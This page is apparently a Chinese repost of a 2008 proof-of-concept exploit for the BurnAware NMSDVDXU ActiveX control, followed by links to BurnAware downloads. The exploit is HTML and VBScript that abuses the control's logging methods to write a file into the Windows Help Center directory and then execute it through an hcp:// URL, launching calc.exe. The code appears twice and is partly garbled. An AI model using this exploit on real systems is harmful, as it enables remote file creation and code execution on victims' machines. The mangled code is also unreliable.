BurnAware NMSDVDXU ActiveX Remote Arbitrary File Creation/Execution
互聯(lián)網(wǎng) 發(fā)布時間：2008-10-08 21:02:39 作者：佚名 
我要評論
我要評論-----------------------------------------------------------------------------
BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Creation/Execution
url: http://www.burnaware.com
File: NMSDVDXU.dll <= 1.0.0.13
CLSID: {0355854A-7
-----------------------------------------------------------------------------
BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Creation/Execution
url: http://www.burnaware.com File: NMSDVDXU.dll <= 1.0.0.13
CLSID: {0355854A-7F23-47E2-B7C3-97EE8DD42CD8}
ProgID: NMSDVDX.DVDEngineX.1
Descr.: DVDEngineX Class Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage. Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7 myMsinfo is just hexadecimal values of: <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "calc.exe", 1
</script>
-----------------------------------------------------------------------------
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'>
Sub tryMe
myMsinfo = unescape(" unescape("'clsid:0355854A-") & _
unescape("7F23-47E2-B7C3-9") & _
unescape("7EE8DD42CD8' id=") & _
unescape("'compatUI'> unescape("ect> unescape("nguage='vbscript") & _
unescape("'> compatUI.Run") & _
unescape("Application 1, "") & _
unescape("calc.exe", 1 unescape("script>") test.Initialize True
test.EnableLog "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm", True
test.LogMessage myMsinfo window.location = "hcp://system/sysinfo/msinfo.htm"
End Sub
</script>
BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Creation/Execution
url: http://www.burnaware.com File: NMSDVDXU.dll <= 1.0.0.13
CLSID: {0355854A-7F23-47E2-B7C3-97EE8DD42CD8}
ProgID: NMSDVDX.DVDEngineX.1
Descr.: DVDEngineX Class Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage. Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7 myMsinfo is just hexadecimal values of: <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "calc.exe", 1
</script>
-----------------------------------------------------------------------------
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'>
Sub tryMe
myMsinfo = unescape(" unescape("'clsid:0355854A-") & _
unescape("7F23-47E2-B7C3-9") & _
unescape("7EE8DD42CD8' id=") & _
unescape("'compatUI'> unescape("ect> unescape("nguage='vbscript") & _
unescape("'> compatUI.Run") & _
unescape("Application 1, "") & _
unescape("calc.exe", 1 unescape("script>") test.Initialize True
test.EnableLog "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm", True
test.LogMessage myMsinfo window.location = "hcp://system/sysinfo/msinfo.htm"
End Sub
</script>
相關文章
- 在個人光盤刻錄軟件的領域，經(jīng)典的Nero可謂一直是業(yè)界的老大，無論Nero Multimedia Suite(多媒體套裝)或是Nero Burning Rom(刻錄軟件)功能都非常的強大，但價格也著實不便2012-07-30
BurnAware Free Edition是一款輕量級的，功能強大，簡單易用的光盤刻錄工具。支持CD/DVD/藍光/HD-DVD光盤，同時適用于高級用戶和初級用戶。2012-04-05
簡單易用的光盤刻錄工具 BurnAware Pro v15.8 綠色便攜免費中文版
BurnAware Pro是一款輕量級的，功能強大，簡單易用的光盤刻錄工具。支持CD/DVD/藍光/HD-DVD光盤，同時適用于高級用戶和初級用戶.今天腳本之家小編給大家分享的綠色版和綠色2022-08-25
BurnAware Free 光盤刻錄工具 v17.4 綠色中文免費版
BurnAware Free是一款輕量級、功能強大，且簡單易用的CD、DVD、藍光刻錄工具，能夠刻錄數(shù)據(jù)光盤、影音光盤、光盤鏡像等，同時適用于高級用戶和初級用戶。2024-01-31
BurnAware Free Edition 輕量級光盤刻錄軟件 V9.5.0 官方安裝免費版
BurnAware Free Edition是一款輕量級的，功能強大，簡單易用的光盤刻錄工具。支持CD/DVD/藍光/HD-DVD光盤，同時適用于高級用戶和初級用戶2017-02-22
BurnAware PRO 光盤刻錄大師 v17.9 64位 中文免費安裝版
BurnAware是一款輕量級的，功能強大，簡單易用的光盤刻錄工具。 支持CD/DVD/藍光/HD-DVD光盤，同時適用于高級用戶和初級用戶2024-06-28
BurnAware Pro光盤刻錄工具 v17.9 32位 多國語言安裝版
BurnAware Pro是一個強力的刻錄工具，它支持CD，DVD，藍光光盤和HD-DVD的媒體，支持標準的光存儲介質(zhì)包括CD-R/RW，DVD-R/RW，DVD+R/RW等2024-06-28
BurnAware Premium光盤刻錄工具 v18.1 32/64 多國語言安裝版
BurnAware Premium是一款強力的刻錄工具，它支持CD，DVD，藍光光盤和HD-DVD的媒體，支持所有標準的光存儲介質(zhì)包括CD-R/RW，DVD-R/RW，DVD+R/RW，BD-R/RE，HD-DVD-R/RW和DVD2024-10-03
BurnAware Free光盤刻錄工具 v18.0 多語中文安裝免費版
一個輕量級的，功能強大，簡單易用的光盤刻錄工具。支持CD/DVD/藍光/HD-DVD光盤，同時適用于高級用戶和初級用戶，支持幾乎所有的光盤存儲媒體2024-09-04
